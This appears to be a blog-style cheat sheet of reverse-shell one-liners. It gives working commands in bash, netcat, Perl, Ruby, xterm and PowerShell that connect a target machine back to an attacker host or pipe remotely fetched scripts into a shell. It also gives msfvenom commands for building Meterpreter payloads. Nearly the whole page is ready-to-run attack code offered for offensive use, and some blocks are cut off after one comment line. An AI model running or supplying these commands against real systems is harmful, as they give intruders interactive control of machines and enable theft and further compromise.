shells
2024-03-09 12:55:45
Linux Shells
Bash | sh
1 | curl https://reverse-shell.sh/1.1.1.1:3000 | bash # Reverse shell as a service |
Symbol Safe Bash | sh
1 | # If you need a more stable connection do: |
Explanation
bash -i
: This part of the command starts an interactive (-i
) Bash shell.>&
: This part of the command is a shorthand notation for redirecting both standard output (stdout
) and standard error (stderr
) to the same destination./dev/tcp/<ATTACKER-IP>/<PORT>
: This is a special file that represents a TCP connection to the specified IP address and port.- By redirecting the output and error streams to this file, the command effectively sends the output of the interactive shell session to the attacker’s machine.
0>&1
: This part of the command redirects standard input (stdin
) to the same destination as standard output (stdout
).
Netcat
1 | nc -e /bin/sh <ATTACKER-IP> <PORT> |
Python
1 | #Linux |
Perl
1 | perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
PHP
1 | # Using 'exec' is the most common method, but assumes that the file descriptor will be 3. |
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
1 | xterm -display 10.0.0.1:1 |
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
1 | Xnest :1 |
You’ll need to authorise the target to connect to you (command also run on your host):
1 | xhost +targetip |
Windows Shells
NC
1 | nc.exe -e cmd.exe <Attacker_IP> <PORT> |
PowerShell
https://github.com/samratashok/nishang
1 | powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" |
PS Oneliner
1 | $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
Full TTYs (Stablize Shells)
Python
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
MSFVenom Cheatsheet
list payloads
1 | msfvenom -l payloads #Payloads |
common params
1 | -b "\x00\x0a\x0d" |
Windows
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > reverse.exe |
Linux
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > reverse.elf |
2024-03-09 12:55:45